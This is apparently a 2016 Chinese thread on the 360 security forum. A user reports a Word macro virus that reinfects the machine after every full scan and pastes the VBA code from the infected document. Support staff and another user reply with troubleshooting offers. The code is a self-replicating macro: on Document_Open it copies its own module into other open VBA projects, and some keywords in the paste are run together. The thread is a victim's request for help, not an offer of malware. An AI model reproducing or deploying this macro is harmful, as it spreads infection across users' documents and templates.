关闭

绑定手机号

应国家法规对于账号实名的要求,请您在进行下一步操作前,需要先完成手机绑定 (若绑定失败,请重新登录绑定)。了解更多

不绑定绑定手机号

360官网 | 360商城 | 社区客户端

推荐论坛版块活动众测商城更多内容

反复中word宏病毒,全盘查杀,杀完接着中,无语中。
附件是中毒文件,含宏代码,请360工作人员给个解决方案,谢谢!
————————————————————————————————
Private Sub Document_Open()
Dim MACROTEXT As String
\'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
P =VBE.VBProjects(I).FileName
B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)
A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
R =InStrRev(P, \"\\\")
S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)
SetAA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1,AA.CodeModule.CountOfLines)
ExitFor
11: Err.Clear
Next I
For I = 1 To VBE.VBProjects.Count
B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)
A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
P =VBE.VBProjects(I).Name
R =InStrRev(P, \"\\\")
S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)
C =Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES >VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
AA.CodeModule.AddFromString (MACROTEXT)
  
EndIf
Next I
End Sub
Private Sub Document_Open1()
Dim MACROTEXT As String
\'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
P =VBE.VBProjects(I).FileName
B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)
A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
R =InStrRev(P, \"\\\")
S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)
C =Mid(P, R + 1, Len(P) - R - S)
If B= C Then
SetAA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1,AA.CodeModule.CountOfLines)
ExitFor
EndIf
11: Err.Clear
Next I
For I = 1 To VBE.VBProjects.Count
B =Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, \".\") - 1)
A =VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
P =VBE.VBProjects(I).Name
R =InStrRev(P, \"\\\")
S =IIf(InStr(1, P, \".\") > 0, Len(P) - InStr(1, P, \".\") + 1,0)
C =Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES >VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
AA.CodeModule.AddFromString (MACROTEXT)
  
EndIf
Next I
End Sub

共 4 个关于反复中word宏病毒,全盘查杀,杀完接着中,无语中的回复 最后回复于 2016-6-28 08:52

评论

直达楼层

360fans294812052 LV1.上等兵 楼主 发表于 2016-6-27 10:37 | 显示全部楼层 | 私信
这个是病毒提示。
360_Cynthia 产品答疑师 发表于 2016-6-27 11:03 | 显示全部楼层 | 私信
您是否在杀毒信任名单中添加过信任?可以先尝试接触信任再全盘查杀。如果没有的话。需要您添加一下工作人员QQ3128820286(添加时注明问题)
360fans294812052 LV1.上等兵 楼主 发表于 2016-6-27 11:21 | 显示全部楼层 | 私信
360_Cynthia 发表于 2016-6-27 11:03
您是否在杀毒信任名单中添加过信任?可以先尝试接触信任再全盘查杀。如果没有的话。需要您添加一下工作人员 ...
未添加系统白名单,未添加文件白名单。
我现在全盘查杀再看看,公司的办公环境不好,好多人员中毒,交叉感染~~~
ihujianfei LV5.少尉 发表于 2016-6-28 08:52 | 显示全部楼层 | 私信

留下联系方式,我远程看看。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

360fans294812052 LV1.上等兵

粉丝:1 关注:0 积分:15

精华:0 金币:7 经验:13

最后登录时间:2016-6-27

私信 加好友

最新活动

活动

排行榜

热度排行 查看排行
今日 本周 本月 全部
    今日 本周 本月 全部

      内容推荐 热门推荐最新主帖

        关注360粉丝团,了解最新活动,抽锦鲤大奖,还有在线客服小姐姐等你来撩哦~

        快速回复 返回顶部 返回列表